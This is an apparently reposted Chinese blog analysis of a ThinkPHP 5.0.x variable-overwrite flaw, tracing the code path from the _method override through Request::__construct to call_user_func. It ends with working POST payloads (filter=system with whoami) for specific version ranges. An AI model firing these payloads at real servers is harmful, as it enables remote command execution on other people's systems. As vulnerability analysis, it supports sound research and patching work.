Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

漏洞分析:

跟进在thinkphp\library\think\App.php下的run函数,存在url路由检测函数routeCheck,并赋值给$dispatch

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

 

 跟进routeCheck中比较重要的检测函数check,会对路由的类型等进行获取

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

其中通过$request->method()函数来获取请求的类型

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

method函数中对$method的true与false进行if判断,这里的method是没有传参进来的,所以默认是false,先进入elseif,var_method是表单请求类型伪装变量,可以看到其值为_method

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

 

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

 

 只要post传入_method的值就可以进入if执行语句中,由于_method的值是我们可控的,所以$this->{$this->method}这个所执行的本类函数也就是我们可以自己选择的,而我们传入的__construct的值就让我们执行了Request类中的__construct函数,我们来看一下__construct函数的代码。

 1     protected function __construct($options = [])
 2     {
 3         foreach ($options as $name => $item) {
 4             if (property_exists($this, $name)) {
 5                 $this->$name = $item;
 6             }
 7         }
 8         if (is_null($this->filter)) {
 9             $this->filter = Config::get(‘default_filter‘);
10         }
11         // 保存 php://input
12         $this->input = file_get_contents(‘php://input‘);
13     }

之前传入了$_POST,也就是将$_POST赋值给了$options,然后在foreach中完成了对POST提交的数据进行遍历,并通过property_exists函数进行属性是否存在的检测,最后进行赋值,就存在变量覆盖漏洞了。

 

访问index.php默认调用的模块名/控制器名/操作名是/index/index/index,对应的$dispatch[‘type‘]module

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

 

 跟进module函数,关键在于invokeMethod函数

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

继续跟进invokeMethod函数下的bindParams函数

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

跟进bindParams中对参数处理的param函数

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

 

 

最后调用input函数,可以根据$filter默认为""的时候将$this->filter的值赋给$filter,实现变量覆盖

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

 

 

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

 

 通过array_walk_recursive,应用函数filterValue,最后通过call_user_func来实现RCEThinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

 

 

 变量覆盖payload总结:

5.0.0~5.0.12 无条件触发

POST / HTTP/1.1

_method=__construct&filter=system&method=GET&a=whoami

a可以替换成get[]、route[]或者其他名字

5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&get[]=whoami

get[]可以换成route[]

5.0.13~5.0.23 需要开启debug

POST / HTTP/1.1

_method=__construct&filter=system&get[]=whoami

get[]可以替换成route[]

 

参考:

 https://blog.csdn.net/qq_32727277/article/details/102974288

 

Thinkphp 5.0.x 变量覆盖导致的RCE 漏洞分析

上一篇:centos8.4安装kubernetes


下一篇:php 后台传回前端日期字符串抓换成时间对象